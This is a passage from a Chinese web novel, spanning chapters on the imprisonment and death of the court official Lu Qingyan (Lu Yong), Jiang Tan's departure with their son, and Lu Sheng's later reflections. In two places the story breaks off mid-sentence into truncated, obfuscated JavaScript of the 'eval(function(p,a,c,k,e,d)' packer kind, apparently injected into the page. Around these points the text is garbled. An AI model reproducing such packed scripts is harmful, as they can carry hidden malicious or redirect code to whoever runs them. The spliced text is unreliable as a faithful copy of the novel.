陆青檐朝下望去,看不清他们的五官和神情。 他靠在榻上,四肢无力,一嘴血腥气。 气若游丝,行将就木。 陆青檐脑中浮现这两个词。 官员们吵了起来。 一人说:“念着床前侍奉的孝心,皇上不追究太子私自跑出宗人府的过错,反倒解了对他的关押。以往皇上不喜太子,如今看着,态度倒和缓许多。” 另一人说:“陆昇竟没死,一回来就弹劾了皇城守将。那可是咱们的人,大人,咱们赶紧得想想法子应对才是。” 两人的话挑起了一众的议论。 有人说陆昇今时比以往更不足为惧,有人说自三月第一次弹劾起,陆昇就设下了陷阱,引诱他们一步步掉下去。 众说纷纭,莫衷一是。 正是等待他主持大局的时候,他却听不进去。 头疼欲裂。 陆青檐按着脑袋:“闭嘴!” 一众官员察觉到他心情不好,顿时没了声息。 片刻后,官员们躬身退出去,屋子里一个人也没有。 陆青檐披衣下床,整个人就是一晃,幸亏握住纱帐,才勉强撑住身体。 吕先生这时闯了进来:“哎呦喂,大夫说你得躺着,好吃好喝地养半个月,非得下床做什么呢!” 这老家伙惯爱用这种招数对付他,看似冒犯无礼的举动,出口却是关心他的身体。 这样不刻意的举动,做的多了,也就成了刻意。 陆青檐早已识破他的伎俩:“你又缺银子了?” 他唤郑管家过来,给吕先生取了两千两银票,吕先生喜笑颜开地接过,塞到自己袖子里。 随后搀扶着他出门,从外面一地立着的官员中走出去:“咱是真的担心你的身体,听说你心情不好,咱带你去园子里看点开心的东西。” 吕先生所说开心的东西,是指小哑巴。 因为无人照料,他的头发绑得如一团杂草,衣服早已污浊不堪。 不是小哑巴自己弄脏的,相反,他极爱干净整洁,身上的灰和泥都是别人带来的。 陆府下人的几个孩子,围着那个小哑巴推搡来去。 那小哑巴也有骨气,摔倒在地哭也不哭,拍拍灰爬起来,继续够他那被大孩子举得高高的小挎包。 这小哑巴好欺负得很,因为不会说话,也分不清好赖,怎么欺负都不会告状。 所以只要不留下外伤,谁也发现不了。 这几个孩子依照吩咐,已这样做了有一段日子。 以上都是吕先生讲解的。 陆青檐看不清楚,但能听见那孩子闷声摔倒,再跳起来的声音。 忽然,他听见噗通的落水声。 吕先生絮絮叨叨地解说着:“那小哑巴掉水里了,竟是个旱鸭子,连扑腾都不会……咦,那小哑巴在看着你,今天连他的宝贝石头也不捡了。” 陆青檐什么也看不见,只察觉到有一道炙热的视线落在自己脸上。 都到了这种地步,还认不出他是个恶人,竟想向他求助。 可他脸上的笑是假的,对他说的话也是假的,全都是因为那个人在,所以才装作一个好人。 蠢货。 吕先生语气殷勤:“你要是实在看不惯那个孽种,我就重操旧业,把他宰了,替你出出气!” 陆青檐略一沉思,便知道是怎么回事:“你怎么还不去赌坊,银子不够?” 吕先生嘿嘿一笑:“你怎么知道?咱在赌坊赊了一大笔账,不好意思去那边。” 陆青檐将腰间玉佩解下。 吕先生连忙接住,放在日光下反复看成色。 识得这玉价值不菲,他迫不及待要去赌坊潇洒一把了,临走前却想起什么: “说起来,小哑巴对你倒是颇为信任呢。上回咱怎么诱哄,他连看都不看一眼,谁知道你来了,他竟理你,还让你近身牵着,这是多好的机会!” 一个小孩罢了,连哭都不会哭,直接让人绑走,何须他亲自动手。 陆青檐望了一眼园子的方向,他能感受到,那小哑巴竟还在看他。 这时,一人脚步不稳地扑在他脚下:“长公子,宫中有变!” 邓显从不会如此失态。 “什么事?” . 前任吴江知县刘仲青,竟然是一个女人。 一个小小的知县,就算罪大恶极犯了死罪,也不至于造成如此轰动,可她偏偏是一个扮作男人的女人。 这个女人不仅骗过了考官,还考取了功名,混入了大昭官场,成为一方父母官。 前无古人,后无来者。 这简直是将朝廷的脸面踩在泥里。传到周边诸国和后世的耳朵里,要教人笑掉大牙。 消息一出,飞速传遍了整个大昭。 京城,边陲,市井的妇人,街头的小贩,书院的举子,连同路边的乞丐,都在不约而同地议论刘仲青。 事出突然,园子里的官员们都吓了一跳,半晌没回过神来。 有个年迈的连声高呼:“世风日下,大昭危矣。大昭危矣!” 这人姓冯,是太子被囚禁后,从东宫一党寻了过来的。 陆青檐道:“刘仲青已经死了,大昭危不危和她有何干系?与其说这些迂腐无用的废话,冯大人不如动动脑子,想想陆昇接下来的异动。” 冯大人被他说得脸色发黑,眼睛一翻,晕了过去。 皇上尚未痊愈,就被这个消息气得又病倒了。 病中太子亲侍汤药,还偷偷抹泪,皇上夜起时看到,心中甚慰,便将刘仲青一事交给太子查办。 不到两日,刘仲青的生平经历、人际关系就被查得清清楚楚。 与刘仲青有牵扯之人,首当其冲是德庆七年被处斩的一名死囚,名为宋庸。 这名死囚生前是吴江首富,朝中便有人状告刘仲青谋财害命,替这名死囚喊冤。 太子欣然受理,重查当年吴江旧案,要力证宋庸清白。 然而第二日,一封弹劾工部右侍郎陆庸的折子就呈到御前。 折子上的内容直言当朝陆庸陆大人,就是当年吴江的死囚宋庸。并细数了宋庸圈地走私等罪状,附上了当年判案文书的绝笔信。 除此之外,太子更是亲笔罗列了首辅闫慈及义子陆庸的种种罪行,厚厚一沓罪证亲手捧至景胜帝床前。 陆青檐很快拿到了折子的抄录。 最上面写的“陷害忠良”四字尤为醒目。 邓显说:“动作这么快,显然是要有准备,调查清楚就立刻放出来,不给我们应对的机会。长公子,要不要联络大臣上疏,在皇上面前解释。” “不。” 陆青檐说:“让所有人上疏,就说汤家满门忠烈,而我陷害良臣,罪该万死!另外找几个在皇上面前中立的臣子,让他们去御前夸赞太子,体恤百姓,伸张冤屈。堪为国储,能担大任。” 邓显略一思索,便明白了用意。 再怎么样,汤家也是皇上亲自定罪,判处流放的。眼下太子伸张冤屈,不仅是儿子逼着父亲认错,更是一个臣子逼着君王低头。 想要长生不老的皇上卧病在床,却看到朝中有一位如此能干的储君,就连中立的臣子也偏向他,那么朝中其他大臣呢? 国储担大任,将国君置于何地。 陆青檐说:“趁此皇上疑心的时日,我们便有时间好好布局。” 一群官员恍然大悟,跟着连连点头,太子终究不成气候。 然而出乎意料,第三日,他所说的时间便到头了。 . 东宫再次上疏,这次的折子,写的却与前一次大不一样。 藐视皇权,勾结北漠。 有官员愤愤道:“这分明是平白诬陷!” 陆青檐沉默不语,让人把抄录本拿过来,几乎是凑到鼻尖细看。 他看不清楚,只看得清字迹凌乱,却有一个明明白白的念头: “这是陆昇的字!” 陆青檐将抄录本砸到地下。 邓显惊道:“怎么可能?这字迹与他的字不一样。” 有熟悉陆昇的官员捡起来,仔细分析后说:“有他昔日的笔风,许是用左手写的。” 抄录奏折的是他在皇上身边安排的内侍,如今便代表内侍已被发现。而陆昇还亲自抄录一份给他,分明是挑衅! 抄录本能到他的手里,极有可能,陆昇早就把折子递了上去。他看到的这一本,已经是几日之后的了。 极有可能,太子上疏后的当天,陆昇便重写了一本奏折。 他们迟了。 陆青檐闭了闭眼。 他让邓显从头到尾将折子念一遍,听到“七月十二日,陆庸于皇宫纵马出城,僭越皇权”时,邓显停了下来:“长公子……” 陆青檐捂住胸口,肺腑中有什么横冲直撞,即将破肚而出似的。 他难以忍受地扯着纱帐起身,推开邓显的搀扶,从一地跪着的官员中跌跌撞撞地走到门边。 姜昙和陆昇合力,血淋淋地捅自己一刀。 陆青檐瞪大双眼,喉咙中翻涌出一股一股的血腥,摇摇晃晃倒下去。 门外的天地向下塌陷。 在这要命的关头,老天突然将他的眼睛还给了他,他能看见了。 然而这样的好日子没持续几天。 如今被关在大理寺里,才两日过去,他的眼前又模糊不清了。 许是因为四面黑漆漆的,又无旁人。老天见他不需要双眼,便又收了回去。 真是善变的老天。 . 陆青檐看着窗外,嗤笑一声。 他又看向姜昙:“这下真的是最后一面了,姜姑娘来都来了,连句话也不肯对我说吗?” 姜昙提着食盒走近,看清陆青檐的模样,顿住脚步。 他身着囚衣,发髻乱糟糟的,失了平日光鲜的模样。几缕头发从额头垂下来,盖到他的下巴,像极了他最讨厌的野人。 姜昙犹豫着开口:“你的眼睛……感觉如何?” 陆青檐伸手在脸上一抹,摸到了一手湿意。牢里光线昏暗不清,但他猜得到那是眼泪。 不由笑了笑:“啊,你说这个?其实都是骗你的。我告诉过你,从一生下来我就不会哭,到现在也从未流过眼泪。以前在你面前,都是装的。那是服药之后的副作用罢了,只是你好像误会了,后来我便不再提,将错就错,骗你同情。” 姜昙将提着的食盒打开,从里面取出食物和水,以及一件衣服,梳洗之物一应俱全。 陆青檐并不去接,只是讥讽地笑:“这个时候,你记得倒清楚。” 姜昙抬眼看他,眼神微颤。 陆青檐好像不知道,他流下的不是眼泪,而是血泪。 姜昙怔怔无言。 半晌,她深吸一口气:“你恨我吗?” 陆青檐冷笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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派去追杀陆昇的人中,有一人名叫柴小虎,扬州人氏。家住佛寺后山,十岁前痴傻愚笨,十岁之后一场高烧恢复神智。拜刘武为师,习武至今日。 陆青檐肯定地说:“刘武比柴小虎武功高上一倍不止,他拦不住刘武。” “他们是师徒,这么多年的感情,只需刘武在挥刀时犹豫一瞬,柴小虎便能寻到破绽,徒弟最熟悉师父的招数。” 姜昙缓缓地说:“陆庸,人非草木,你轻慢了人心。刘武不会来了,你逃不出大理寺。” 陆青檐朗声大笑起来。 他笑得极为畅快,声音击破了牢狱里阴冷的气息。 笑声一停,他猛地扑在牢狱的门上,双手穿过缝隙,捉住姜昙的衣襟狠狠拉近。 “姜昙,你怎么敢如此对我?” 说话时,陆青檐眼下的血泪也激动地滚落,打湿了囚服。 挨得如此之近,姜昙能看到他无神的双眼。 更看得清他耳上的伤口,不再流血,只剩下细小却永远不能愈合的伤疤。 姜昙并不挣扎:“我知道你对阿年不好,欺负他什么也不懂,还纵容下人欺负他。” 陆青檐并不说话。 姜昙兀自说着有关乌日塔的事情:“阿年出生时,我不喜欢他,几乎没有抱过他,也对他没有好脸色。渐渐他长大,我发现他不会哭,也不会笑,而且对别人的哭或笑感到很困惑。” 姜昙后来查过医书,发现阿年变成这样,有她一半的责任。 “因为不懂,所以他分辨不出悲伤和快乐,也分辨不了好意和恶意。我告诉他眉眼和嘴唇弯起来就是笑,笑脸代表善意。还告诉他不能攻击心怀善意的人,他记住了。” 所以那个小哑巴才乖乖不动,任人欺负。 “那关我什么事,我不想听。” 陆青檐恨恨笑着:“就算我对他不好又怎么样?我能杀了陆昇,也能杀了他的儿子。留他一命,已是看在你的面上,若他懂得感恩,该跪下来谢我不杀之恩。” “他是八月十五生的,今日就满六岁了。因为出生就在边陲,所以他的胡语很好,汉话却不好。二月他会开口叫阿娘,而早上我出来时……” 姜昙忽然唤了他一声:“陆庸……阿年已会叫阿爹了。” 眼中落下滚烫的泪水。 姜昙说不出话来,后半句几乎是微不可闻的气声。 说完,她退后几步,方才说话时,陆青檐的手已松开了她的衣领。 牢狱中锁链猛地一颤,陆青檐扑到牢门处,紧紧地往外伸手,想要抓住什么。 然而姜昙站得太远,每当陆青檐想沿着牢门往前时,身后的锁链就扯紧他的手腕,让他无法前行。 “姜昙——” 陆青檐像一条被项圈拴着,只能原地打转的狗,挣扎之后,无力地跪在地上。 沉默好半晌,他才哽咽着说出话来:“姜昙,临死前,你给我一句话。这些年……你心里究竟有没有我?” 他的身上还带着那个旧荷包。 那日他在荷包里摸到硬物,是五年前两人死别时,姜昙丢掉的。陆青檐分明看到她将荷包丢到了水里,可是现在又回到了她手里。 姜昙爱他吗? 如果不爱,为什么扔掉之后又捡回来。 可如果爱他,为什么用这个东西引他出宫,她所做一切,好像只是无所不用其极地让他痛苦。 如同他们的孩子一样。 就连现在,他也不清楚。姜昙说这些话,是不是为了让他放弃逃跑的念头。 但不重要了,都不重要了。 陆青檐抬头,衣襟砸出大团鲜红,是从他眼中掉下来的。 他望着她,簌簌掉着血泪:“我死后,你会带他来看我吗?” 95. 第 95 章 大理寺外,雨又下起来。 姜昙收了伞,在路边茶馆的檐下避雨。 楼上人声鼎沸。 说书人高昂的声音从窗户飘出来:“那工部侍郎陆庸原本前途无量,和闫慈一样,以后是做尚书、进内阁的路子。可诸位谁知道,这陆庸其实才疏学浅,所谓师承的那位吕神儒,不过是天桥下一个招摇撞骗的神棍。神儒赐字更是陆庸自己编出来的,事实上陆国公对其厌恶至极,连及冠礼都未置办过……” 茶馆门前的石阶下,雨水汇成积水,映出一小片天。 姜昙低头擦拭被雨水打湿的头发,待雨小一些后,重新迈入雨幕。 她半道去了一趟布庄,时至正午才回到家中。 那是短租的一间屋子,房主是一位好心的大娘,临走前姜昙留给她一些银钱,托她照看乌日塔。 到家时,付大娘坐在檐下做针线。乌日塔坐在她身边理丝线,脚边已经理顺了一篮子。 看到姜昙回来,乌日塔将丝线放下,迅速跑到了院门处开门。 姜昙将伞递给乌日塔,抄手将他抱起来,捏了捏他的脸:“阿年,今天开心吗?” 乌日塔扭头看了看乐呵呵站起来的付大娘,又看看姜昙。 嘴角无声地弯起来。 寻常人笑时,处于轻松的状态,多是张开嘴巴,眉眼盛着满溢的愉悦。 而乌日塔嘴角弯到极致,眼中却没有笑意,好似一个人偶,只是僵硬而无声地表达:我很高兴。 和他上一次笑时的自若全然不同—— 他在学着笑。 面上情绪很激动,眼睛却十分平静,两种反差之下,倒有些令人毛骨悚然。 姜昙和他如黑葡萄的眼珠对视半晌,生生起了一身鸡皮疙瘩。 顿时无奈将他的嘴角拉下来:“算了,这个暂时还是不要擅自学了。” 两人沿着石板路走向屋内,经过院中被风吹得摇晃的大树下,头顶的油纸伞一阵噼啪作响。 付大娘挽起做绣工的篮子,离去前说:“这小娃娃聪明得嘞!” 乌日塔缓缓对付大娘露出一个笑容,付大娘面上一滞:“就是笑得有些……哎。” 姜昙讪讪笑了笑,一手将乌日塔的半张脸捂住,露出一双平静淡漠的眼珠。 做饭时母子两人都在厨房忙活。 姜昙烧火,乌日塔递柴,姜昙下面,乌日塔备碗筷。 午饭是长寿面,卧着一个金灿灿的鸡蛋,和几根绿油油的青菜。 此外,姜昙特意炒了一盘黄萝卜,还做了鱼汤。 乌日塔闷头吃着长寿面,忽然,碗里多了一筷子黄萝卜丝。 他抬头,姜昙正放下筷子,神态自若地喝起鱼汤。 乌日塔低头,停顿了一会儿,缓缓把面条扒拉到另一边,与黄萝卜划江而治。 等面条吃完,鸡蛋吃完,青菜缓慢地吃完……乌日塔不得不夹起和丝线一般细的黄萝卜丝。 他艰难地把黄萝卜丝放进嘴里,喉咙动了动。 吃完了饭,他转身要去玩石头。 “等等。” 刚说完这句话,姜昙就眼睁睁看着儿子浑身绷紧,像是一只炸毛的猫。 姜昙的手按在乌日塔的小辫子上,缓缓给小猫顺毛,随后蹲下身子,与乌日塔的眼睛齐平。 “吃完了吗?” 乌日塔点头。 “用完饭要做什么?” 要擦嘴。 乌日塔仰起脸。 姜昙拿起巾帕,刚沾上儿子的小脸,他嘴里的黄萝卜丝就掉出一根来—— 一次塞太多,他藏不住了。 他原本打算跑出去,吐到树下再埋起来的。 看了看地上的胡萝卜丝,乌日塔索性接过巾帕,全部吐了出来。 被阿娘发现该怎么办? 思考片刻,他抬头,嘴角弯起来,露出一个天真悚然的笑容。 姜昙深深吸一口气,两指把他的笑脸按下去。 这小子哪都好,除了不爱吃青菜,非常不爱吃黄萝卜,让人很头疼。 罢了,不爱吃就不吃吧,总能找到别的他喜欢吃、也对眼睛有好处的食物。 深夜,姜昙挑着油灯缝衣服,乌日塔躺在她的膝上睡着了。 这孩子警惕性极高,一旦把他抱起来,他就会立刻醒来,所以姜昙动也不敢动。 等到半夜,她终于缝好,将乌日塔放到床上,在他睁开眼时及时按住他的眼睛。 两人一起入睡。 她这个阿娘不合格,直到生辰第二日才把送给孩子的生辰礼做好。 八月十六。 天不亮,姜昙就把乌日塔叫醒。 他揉了揉眼睛开始穿衣服,忽然发现衣服是新的,靴子也是新的。晃了晃腿,靴子上缝着漂亮的石头,在油灯的照耀下闪着好看的光。 乌日塔立刻扭头,姜昙在他脸上捏了捏:“别动,阿娘要绑不好你的小辫子了。” 他还是不听话地动了。 坐在椅子上摇头晃脑,发辫上的铃铛欢快地发出清脆的声响。 两人收拾包袱走到城门时,天刚蒙蒙亮。 姜昙一手牵着乌日塔,一边念着三字经,身后小红马在路边啃草,啃一阵,追他们一阵。 城门处的茶棚下坐着一人,看到姜昙,缓缓站起来。 是陆昇。 自他死讯传出后,一直到他回来,姜昙都是从别人的口中得知他的消息,这还是第一次见他。 不过恐怕也是最后一次了。 陆昇穿着厚厚的披风,瞧着像是冬衣。 姜昙原本想悄悄地走,被他发现,也不能装作没看到。 于是迎上去问他:“这才八月,已经这么冷了吗?” 陆昇笑了笑:“一个人走,不带同伴吗?” 姜昙问:“我不能走吗?” 皇上病情反复,太子监国,颇为看重这位如亲兄弟一般的同门。 不久前,陆昇就任大理寺少卿。太子登基后,他或许能进入内阁,成为未来的首辅也说不定。 陆昇扬眉而笑:“何以见得?” 姜昙看向茶棚里,泡茶的不是茶棚摊主,而是一个练家子。茶棚里间影影绰绰,恐怕还有更多的护卫。 陆昇今非昔比。 他若想做什么,她完全没有拒绝的机会,在他面前遮遮掩掩,没有必要也没有作用。 “前两日,我见过太子了。” 太子和陆昇一般大的年纪,眉宇间却有深深的皱纹。年轻的国储将忧国忧民写在脸上,什么心事都藏不住。 虽然体谅百姓,但仍有极强的距离感,其实和景胜帝是同一种人。 太子长长地扯了一通东宫和陆昇的功劳,最后简洁地夸赞了姜昙的义举,问她想要什么赏赐,尽管开口。 姜昙缓缓说道:“东宫人才济济,太子与你的布置周全无比,根本不需要我的助力。当初去扬州,怎么可能那么巧,是你给陆青檐透露的消息?” 陆昇并未回答:“你见了太子,他可给你什么赏赐吗?” 姜昙不说话。 路上刮来一阵风。 陆昇的披风极厚,被风一吹却显得空荡荡的,他往旁边瞧了一眼,立时有下属过来给他整理。 待护卫消失,陆昇继续说:“我只是想,若我是你,整日在陆青檐身边,无论如何也会找到一些有用的信息。姜姑娘,你帮我良多,我从心底感激你。” 姜昙对他的感激没什么情绪:“若你不拦我,那是来做什么?” 陆昇让出前路:“我来送你,怕来的晚了,就错过了你,所以一早在这里等你 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乌日塔不由抬头看着他。 陆昇扬起左手,笑说:“这次猜错了,是在这里。” 乌日塔弯起唇角,僵硬地回他一个微笑。 “阿年。” 姜昙在远处叫他。 乌日塔小跑过去,他身后的小红马也哒哒追过去。 来到姜昙身边,乌日塔给她看机关锁,又指了指自己的左手,不对,是右手。 他一通比划,在姜昙眼里却莫名其妙。 姜昙顾忌着陆昇的那些护卫,将乌日塔抱上马车:“我们先离开这里,路上再讲给阿娘听。” 姜昙不理他,乌日塔急得看小红马,它听不懂。 于是乌日塔又回头看那个人。 陆昇站在原地,将左手食指放在唇上,对他笑了笑: 嘘。 眼见陆昇的护卫找过来,好像有事要陆昇处理。 姜昙松了口气,转头又给乌日塔讲起三字经:“早上教你的,还记不记得?” 乌日塔点点头,摆弄机关锁。 姜昙叹气,吩咐马夫赶车。 这时,背后传来一阵马蹄声,急报的护卫下马,禀报陆少卿:“大人,卯时三刻狱卒巡逻发现,重犯陆庸死在狱中。” 姜昙捂住乌日塔的耳朵,酸涩地闭上眼睛。 片刻后,乌日塔察觉脸上下起了雨,他抬头看,是阿娘脸上掉下来的。 乌日塔给阿娘擦泪,忽然想起那个人。 他穿着红色的衣服,高高地站在自己面前,乌日塔不得不仰头看他。 脸颊被捏住,那个人扬着下巴瞧他:“哭!连哭都不会?蠢。” 原来,这就叫做哭。 茶棚旁。 陆昇不由看了一眼官道上的马车,问护卫:“怎么死的?” “吊死的。” 那护卫仿佛看到了极为可怕的东西:“用了和针一样细的的钢丝,勒在脖上,自尽。” 官道上的马车忽然动了。 路上刮起强风,马车逆风而行,越行越快,很快看不见影子。 护卫给陆昇整理被吹开的披风,陆昇淡淡说:“不必遮了。” 官道上行人渐渐多起来。 这个时候,陆昇反倒脱去披风,露出空荡荡的右手袖子。吸引来四下打量的视线,他也并不在意。 陆昇对护卫说:“回去收殓尸身,厚葬吧。” 德庆十五年,八月十六。 奸臣陆庸死于狱,葬于野。 后因憎恶者众多,坟墓被掘,尸骨无存。 96. 【1】陆昇 拆开层层包裹的纱布,伤口已渗出血来。 喜安不忍地撇过脸去。 太医倒是冷静,一边将脏了的纱布换下,一边说:“拆线得再等几日了。” 陆昇额上生了一头冷汗,唇色苍白:“多谢太医。” 太医起身告辞:“太子殿下之命,下官不敢不尽心。只是得提醒少卿几句,断臂之痛非同寻常,必须好生休养,不宜下地,避免劳累,切记。” “知道了。” 陆昇这么说着,却在太医迈出府门的后一刻,将桌上的折子拿过来批阅。 太子监国,身为他的亲信,陆昇也得分担不少。这几日夜夜劳累,实在令人头疼。 好在右臂被砍断后,他可以光明正大地潦草写字了。 满朝文武中,即使是总会批评太子与他“字迹不端”的老太傅,在看到他空荡荡的右臂时,也只能憋屈地捋胡须。 发现这一点后,太子喜不自胜。 尤其在见太傅时,必定要拖上他一起。只要他在场,老太傅的七分毒舌只能变成三分。 思及此,陆昇落笔愈发随心所欲。 写完一看,嗯……果然是惊天地、泣鬼神的一手好字。 就是不知道接收到折子的官员是否有一副好眼力,能辨得出这是何字了。因为眼下,好像连他自己都有点认不出来了。 犹豫片刻,陆昇毫不愧疚地将折子扔到一边去,继续翻开下一本。 门口有人影张望。 喜安出去,片刻后回来:“大公子,陆府那边……发现了一些东西和……人。” 一句话说得磕磕绊绊,似有无限隐情。 陆昇将折子推开:“带上来。” 陆庸死后,陆府被抄,里面的下人四处逃窜,几乎跑了个干净。 陆庸的名声传遍大昭,昔日与之有联系的人恨不得从未认识他,唯恐避之不及。可没想到过去数日,还有人敢回来。 巧的是,这人陆昇也认识。 “吕先生,吕神儒。” 下面像乞丐一样的老者抬起头来,头发两侧不知沾着泥土还是别的什么。或许身上还有难闻的气味,因为离他最近的喜安眉头紧得能夹死苍蝇。 老者撩开头发,满面如黑炭,露出一口白牙,嘿嘿笑着跪下去:“官老爷抬举了,咱只是个神棍。以前在家乡,街坊都叫咱吕瘸子,您叫咱吕瘸子就行。” 陆昇笑了笑。 吕瘸子笑成了一朵花:“官老爷要是喜欢,叫咱贱民,草民也爱听的。” 陆昇看了喜安一眼,后者立刻带人退出去。 “吕先生,请坐。” 屋内只剩三人:陆昇,吕瘸子,以及吕瘸子牵着的一人。 据吕瘸子说,这是他的娘子。 因为自己爱赌,花光了银子,便想回来找找,看陆府是否还剩下什么值钱的东西。 吕瘸子千恩万谢在椅子上坐下,指着娘子说:“您瞧,这么大的肚子,眼看快生了,花钱的地方多着呢!” 陆昇上下打量吕夫人一眼。 这位吕夫人头脸裹得严严实实,进来这么久不仅未看清长相,连声音都未听清。唯一明显的是她的肚子,鼓得皮球一般大。 确如吕瘸子所说,眼看着快生了。 陆昇沉思片刻,缓缓说:“我无意冒犯尊夫人。只是我先前听陆府的婢女们说,这位分明是陆青檐的侧室,眼下怎么又成了你的夫人?” 吕瘸子眼珠子转着,在想借口。 陆昇静静等着。 只是“吕夫人”等不下去了,她猛地往门口跑去。拉开门看到一众护卫,惊叫一声,吓得摔倒在地上,回头害怕地看着陆昇。 门外的喜安也吓了一跳,连忙把门从外关上。 这位夫人,竟是一个男人。 陆昇还算镇定:“吕先生,这该怎么解释?” 吕瘸子一张脸如黑炭,终于笑不出来了。 . 吕瘸子还记得,把人接到府里时,是在一个早上。 本来有很多种办法掩人耳目,可那段时日陆府里乱成一团。他只急着把人弄进去,也无心遮掩了。 落在下人眼里,便是他这个老不死的出了一趟远门,给陆青檐大了肚子的外室弄回来了。 毕竟,先前那位姜夫人刚被关进柴房。 不过也没什么大不了的。 即使吕瘸子不懂,也知道这时的陆青檐是焦头烂额的。 陆昇没死,太子回宫,他在皇帝心中的地位岌岌可危。 陆青檐卧病在床,整日都有官员来找他。 正是多事之秋,吕瘸子不敢扰他。在他身边陪了多日,愣是连提都不敢提。 只是最后,陆青檐自己问起来了:“谁在哭?” 官员们吵得不可开交,陆青檐竟一句都没听进去,反而听到了隔壁细小的哭声。 吕瘸子压低声音:“你忘了,你之前吩咐让人带回来的,我刚接了她进府。就是怀着肚子的那位,等着你去见呐!” 陆青檐若有所思,似乎想起来了。 吕瘸子叹气:“不过眼下这等形势,一群大官等你下令,还是以大事要紧……” 陆青檐忽然站起来:“去看看。” 怀着肚子的这位,从小山村一路被护送至京城来,路上舟车劳顿频频呕吐,队伍不得不停下来,待其完全适应了再往北走。 故而才这么晚到陆府。 郑管家特意安排了上好的厢房,铺满了最柔软的织衣,连锐利的桌边都包上了羊皮和棉花。 陆青檐掀开纱帐时,吕瘸子跟着瞧了一眼:一个侧躺在锦被中哭泣的人,身着罗裙,小腹隆起。 吕瘸子也未见过她,只知道她是个弱不禁风的,包得严严实实,连脸都看不见。 只是这肚子…… 吕瘸子嘀咕:“这得足月了吧。” 这时,锦被中的女人翻过身来,满脸泪痕,惊恐地看着他们:“你们是谁?” 吕瘸子登时吓得说不出话来。 这这这,这脸和这声音…… 这竟是个男人!不对,分明是怀着胎儿的!女人? 吕瘸子和那拥紧被子的活物一起,惊恐地问陆青檐:“他究竟是男是女?” 陆青檐面无表情,却肯定地说:“男人。” 一个怀孕的男人。 这真是悖逆伦常的天下奇闻! 吕瘸子不信:“这世上哪有怀孕的男人!” 陆青檐说:“眼前正是,你见到了。” 吕瘸子多年在市井摸爬滚打,见过形形色色的人。 心神镇定后,他仔细观察那男人的体态,连连摇头:“他不是怀孕,而是腹中有瘤啊。” 陆青檐蹙眉,看向床上的人影,他似乎看得很费力。 “去寻大夫来。”陆青檐闭了闭眼,竟打算亲自去寻:“不,要请太医。” 吕瘸子愁得直挠头。 他猜透了陆青檐在想什么,要做什么。可是思来想去,他不知道该怎么说。 毕竟是朝堂的三品大员,且这小子极其骄傲,从来都是他指责别人的份。 但最终,吕瘸子还是叫住他。 “青檐……你那么聪明的一个人,算也该算出来,找到这人是几个月的肚子,上京又花了几个月?这么多年还没生,他肚子里的就不是胎儿!” 吕瘸子深吸一口气:“就算是老天爷,也只能让女人生孩子,男人是生不了的。” 这是路边小儿都知道的道理。 一个连皇帝的心思都能算得精准的人,到了这等事上竟犯了糊涂呢! 这大了肚子的男人脸上扑过脂粉,有涂黑的眉毛,酡红的脸颊,殷红的嘴唇。 山村的汉子,身无余银,连病都看不起。 肚子一天天大起来,被邻里指指点点,久而久之,此人似乎也认为自己是一个女人。 吕瘸子欲言又止:“再这样下去,我怕你变得和此人一样。” “我知道。” 吕瘸子现在还记得陆青檐的神情。 他沉默良久,无力地闭上双眼,似乎对荒唐的自己感到认命:“可我想不到办法了。” 又是为了那祸水。 吕瘸子不识字,也没读过书。 可他听过说书人口中的读书人,固执己见,不怕死地和官作对。 连砍头都不动摇从书上学到的信念,那陆青檐又是怎么挣扎着推翻自己所学的一切,开始荒诞地相信,山里真有能怀孕的男人? 吕瘸子想到府里出现的道士,和尚,还有乱七八糟的方士。 他劝道:“世上没有神仙,也没有仙丹,切莫吃那群人炼制出来的符水、药丸……都是害人的东西!当初咱俩在桥洞底下遇见的时候,你一眼就认出了我是个神棍,自小一直是顶尖的聪明人,长大可别办糊涂事。” 陆青檐沉默无话。 出门时,他挡了挡刺眼的日光,吩咐道:“给他银 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆庸险些害了陆昇的命,人家侥幸活下来,却断了一条胳膊,一定恨毒了他!不鞭尸已是宽容了! 何况人都死了,管他有没有葬身之处,他又没想着祭拜,问那么多做什么呢? 人离开后,屋内只剩陆昇一个人。只是折子打开,他却看不进去。 发觉这一点后,陆昇果断地把折子扔向一边。明天问起来,就说自己胳膊疼,太子一定会痛惜地吃不下饭。 虽然这招只有半天的效果,不过也足够了。 陆昇用左手探入怀中,将锦囊取出来。单手撑开锦囊,费了他一番功夫,可他最后成功了—— 里面放着一缕头发。 喜安推门进来,边挑油灯边偷看他。 陆昇大大方方地摊开:“想什么呢?这是我自己的头发。” 喜安失望地叹气。 陆昇兴致勃勃地讲开了:“你是不知道武场有多乱。我正拉弓,忽然一个不认识的人朝我射了一箭,蹭地一下,从我耳根擦过去。我当时怕得很,还以为耳朵流血了,结果只是断了一缕头发。” 喜安整理好书案,没好气地搭话:“什么时候的事,谁敢射大公子,让太子殿下治他的罪。” “很久以前的事了。” 陆昇笑说:“那人都不知道去哪了。不过现在想起来,还觉得惊险不已,心脏砰砰地跳个不停。” “大公子怎么突然想起这个?” 听说人总怀念以前,是要变老了。喜安有点担心,他都成亲几年了,而大公子还没夫人呢。 陆昇想起城门送别。 那时他对姜昙说: “我只是想,若我是你,整日在陆青檐身边,无论如何也会找到一些有用的信息。” 他原本想说的并不是这句,而是—— 若我是陆青檐,想来会对你毫无保留,任你处置。 后来,也确实如此。 与陆青檐斗到后面,越来越多的探子潜入他身边,却并未获得多少有用的信息。 只是反反复复收到他请道士,寻和尚的消息。 陆青檐进入大理寺后,对罪行供认不讳,并未让邓显和赵青林为他顶罪。 或许从他求神拜佛开始,就放弃了抵抗的念头。 陆昇叹息着,将头发放在油灯上点燃:“是我技不如人。” 先输给姜昙,又输给陆庸。 喜安正打扫架上的锦盒,那里陆昇历年来得到的赏赐,大件的都在库房,小而贵重的都在显眼处放着。 陆昇自有一套理论,日日看着,才不会丢。 然而眼下真真切切有一件宝物丢了。 喜安抱头惊叫:“大公子,您的丹书铁券不见了!” 97. 【2】一家三口 寒冬腊月,薛家庄外躺着个年轻人。 员外家的薛小姐恰好打这路过,瞧见雪地里的年轻人眉目俊俏,就让下人把他带回了家里。 薛家庄不大,谁家家里宰了只鸡,谁家家里买了头牛,不到一天就能传遍全庄。 